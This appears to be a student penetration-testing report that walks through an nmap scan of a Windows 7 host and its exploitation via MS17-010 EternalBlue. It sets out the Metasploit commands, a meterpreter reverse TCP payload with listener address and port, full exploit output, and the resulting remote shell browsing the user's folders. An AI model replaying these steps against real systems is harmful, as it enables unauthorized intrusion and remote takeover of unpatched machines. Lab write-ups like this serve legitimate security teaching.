



REPORT ON SYSTEM SECURITY TESTING AND VULNERABILITY



Date: 21/05/2023

IP: 192.168.1.98

Name: SAGAR NEPAL

CONTENTS

INTRODUCTION.....	3
NMAP SCAN.....	3
MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption	5
CONCLUSION	8

INTRODUCTION

Scanning refers to the process of discovering, analyzing, and reporting on security flaws and vulnerabilities. Vulnerability scans are conducted via automated vulnerability scanning tools to identify potential risk exposures and attack vectors across an organization's networks, hardware, software, and systems.

In my case, the target is 192.168.1.98

NMAP SCAN

Nmap ("Network Mapper") is a free and open-source utility for network discovery and security auditing. It is an open-source Linux command-line tool that is used to scan IP addresses and ports in a network. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime.

I scanned the target with nmap tool using command:

nmap -p- -sC -sV 192.168.1.98 and got the following scan results:

```
(root@kali)-[~]
# nmap -p- -sC -sV 192.168.1.98
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 02:20 EDT
Stats: 0:04:39 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 66.60% done; ETC: 02:27 (0:02:19 remaining)
Stats: 0:06:27 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 78.08% done; ETC: 02:28 (0:01:49 remaining)
Stats: 0:07:47 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 98.36% done; ETC: 02:28 (0:00:08 remaining)
Stats: 0:09:33 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 85.71% done; ETC: 02:30 (0:00:16 remaining)
Nmap scan report for 192.168.1.98
Host is up (0.048s latency).
Not shown: 65528 filtered tcp ports (no-response)
PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc          Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds    Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
554/tcp    open  rtsp?
2869/tcp   open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp   open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
10243/tcp   open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
MAC Address: D8:F3:BC:6D:2B:FD (Liteon Technology)
Service Info: Host: SUMANSIR-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h19m58s, deviation: 4h02m29s, median: -1s
|_smb2-time:
|   date: 2023-05-21T06:30:35
|_  start_date: 2023-05-21T18:51:10
|_smb2-security-mode:
|   210:
|_  Message signing enabled but not required
```

I found that the target is a Windows 7 Operating System and have the 445 port open i.e Microsoft-ds and uses the version :

Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

Then I searched the exploit of Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) in Firefox browser and found that it contains the vulnerability **MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption** as shown below:

Rapid7 Vulnerability & Exploit Database

MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

[Back to Search](#)

Disclosed	Created
03/14/2017	05/30/2018

The MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption exploit module is a part of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers that allows you to gain access not only as SYSTEM - the highest Windows user mode privilege, but also full control of the kernel in ring 0.

Then I used msfconsole to exploit my target using this vulnerability as shown below:

Payload used: windows/x64/meterpreter/reverse_tcp

```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):



| Name          | Current Setting | Required | Description                                                                                                                                           |
|---------------|-----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS        |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                                |
| RPORT         | 445             | yes      | The target port (TCP)                                                                                                                                 |
| SMBDomain     |                 | no       | (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. |
| SMBPass       |                 | no       | (Optional) The password for the specified username                                                                                                    |
| SMBUser       |                 | no       | (Optional) The username to authenticate as                                                                                                            |
| VERIFY_ARCH   | true            | yes      | Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.     |
| VERIFY_TARGET | true            | yes      | Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.               |



Payload options (windows/x64/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.1.75    | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |


```

I configured the required options and exploited as shown below:

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.98
RHOST => 192.168.1.98
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.1.75:4444
[*] 192.168.1.98:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.98:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.1.98:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.1.98:445 - The target is vulnerable.
[*] 192.168.1.98:445 - Connecting to target for exploitation.
[+] 192.168.1.98:445 - Connection established for exploitation.
[+] 192.168.1.98:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.98:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.1.98:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 192.168.1.98:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 192.168.1.98:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 192.168.1.98:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.98:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.98:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.98:445 - Starting non-paged pool grooming
[+] 192.168.1.98:445 - Sending SMBv2 buffers
[+] 192.168.1.98:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.98:445 - Sending final SMBv2 buffers.
[*] 192.168.1.98:445 - Sending last fragment of exploit packet!
[*] 192.168.1.98:445 - Receiving response from exploit packet
[+] 192.168.1.98:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.98:445 - Sending egg to corrupted connection.
[*] 192.168.1.98:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 192.168.1.98
[+] 192.168.1.98:445 - =====
[+] 192.168.1.98:445 - =====WIN=====
[+] 192.168.1.98:445 - =====
[*] Meterpreter session 1 opened (192.168.1.75:4444 -> 192.168.1.98:49170) at 2023-05-21 02:40:45 -0400
```

The exploit to the target got successful and also the session was created successfully. Then I used the command `sessions -u 1` to get the session and I got the access to Windows/system32:

```
meterpreter > sessions -u 1
Usage: sessions <id>

Interact with a different session Id.
This works the same as calling this from the MSF shell: sessions -i <session id> or Temporary Email Address

meterpreter > ls
Listing: C:\Windows\system32

Mode                Size           Type             Last modified          Name
-----
040777/rwxrwxrwx    0             dir              2011-04-12 04:17:52 -0400 0409
100666/rw-rw-rw-   16656         fil              2023-05-12 08:25:36 -0400 7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
100666/rw-rw-rw-   16656         fil              2023-05-12 08:25:36 -0400 7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
100666/rw-rw-rw-   39424         fil              2009-07-13 21:24:45 -0400 ACCTRES.dll
100777/rwxrwxrwx   24064         fil              2009-07-13 21:38:55 -0400 ARP.EXE
100666/rw-rw-rw-   499712        fil              2009-07-13 21:41:53 -0400 AUDIOKSE.dll
100666/rw-rw-rw-   780800        fil              2010-11-20 22:24:49 -0500 ActionCenter.dll
100666/rw-rw-rw-   549888        fil              2010-11-20 22:24:49 -0500 ActionCenterCPL.dll
100666/rw-rw-rw-   213504        fil              2010-11-20 22:24:24 -0500 ActionQueue.dll
100777/rwxrwxrwx   40448         fil              2009-07-13 21:38:55 -0400 AdapterTroubleshooter.exe
100666/rw-rw-rw-   577024        fil              2010-11-20 22:24:41 -0500 AdmTmpl.dll
040777/rwxrwxrwx    0             dir              2010-11-20 22:30:27 -0500 AdvancedInstallers
```

I also got full access to the system and the shell of the target machine as shown below:

```
root@kali: ~ * root@kali: ~ *
Directory of C:\Users\sumansir

03/16/2023 09:11 PM <DIR> .
03/16/2023 09:11 PM <DIR> ..
03/16/2023 09:11 PM <DIR> Desktop
05/12/2023 05:57 AM <DIR> Documents
03/16/2023 09:11 PM <DIR> Downloads
05/04/2023 10:57 AM <DIR> Favorites
03/16/2023 09:11 PM <DIR> Links
03/16/2023 09:11 PM <DIR> Music
03/16/2023 08:39 AM <DIR> Pictures
03/16/2023 09:11 PM <DIR> Saved Games
03/16/2023 09:11 PM <DIR> Searches
03/16/2023 09:11 PM <DIR> Videos
0 File(s) 0 bytes
13 Dir(s) 14,936,272,896 bytes free

C:\Users\sumansir>cd Downloads
cd Downloads

C:\Users\sumansir\Downloads>dir
dir
Volume in drive C has no label.
Volume Serial Number is 3C37-C2FF

Directory of C:\Users\sumansir\Downloads

05/04/2023 10:57 AM <DIR> .
05/04/2023 10:57 AM <DIR> ..
0 File(s) 0 bytes
2 Dir(s) 14,936,272,896 bytes free

C:\Users\sumansir\Downloads>cd ..
cd ..

C:\Users\sumansir>
```

In this way using the vulnerability of **Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)** I successfully exploited my target and got access to it.

CONCLUSION

In this way attackers often exploit vulnerabilities present in outdated or unpatched service versions running on systems. By identifying the specific service versions used, attackers can target known vulnerabilities associated with those versions to gain unauthorized access to the system.